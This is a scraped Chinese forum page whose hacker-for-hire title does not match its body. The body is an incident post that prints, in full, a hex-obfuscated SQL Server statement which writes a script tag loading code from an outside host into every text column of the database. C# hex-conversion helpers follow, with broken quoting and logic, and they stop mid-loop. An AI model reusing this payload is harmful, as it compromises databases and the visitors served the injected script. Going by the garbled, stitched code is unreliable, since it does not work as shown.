快捷导航

黑客接单网查找手机号码怎么找你都知道吗?

[复制链接]
查看: 432|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-10-29 00:00:00 | 显示全部楼层 |阅读模式
今天朋友遇到一个问题,他的sql server 数据库被执行了一条语句
dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)--
从0x可以看出这是一段十六进制编码的sql语句
于是想到将其解码:
对于十六进制字符串编码和解码的C# 方法如下:

复制代码代码如下:

///  

/// 从字符串转换到16进制表示的字符串

///  

///  

/// 编码,如“utf-8“,“gb2312“  

/// 是否每字符用逗号分隔  

///  

public static string ToHex(string s, string charset, bool fenge)

{

if ((s.Length % 2) != 0)

{

s += “ “;//空格

//throw new ArgumentException(“s is not valid chinese string!“);

}

System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);

byte[] bytes = chs.GetBytes(s);

string str = ““;

for (int i = 0; i < bytes.Length; i++)

{

str += string.Format(“{0:X}“, bytes);

if (fenge && (i != bytes.Length - 1))

{

str += string.Format(“{0}“, “,“);

}

}

return str.ToLower();

}



///
/// 从16进制转换成utf编码的字符串
///
///
/// 编码,如“utf-8“,“gb2312“
///
public static string UnHex(string hex, string charset)
{
if (hex == null)
throw new ArgumentNullException(“hex“);
hex = hex.Replace(“,“, ““);
hex = hex.Replace(“\n“, ““);
hex = hex.Replace(“\\“, ““);
hex = hex.Replace(“ “, ““);
if (hex.Length % 2 != 0)
{
hex += “20“;//空格
throw new ArgumentException(“hex is not a valid number!“, “hex“);
}
// 需要将 hex 转换成 byte 数组。
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i++)




(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: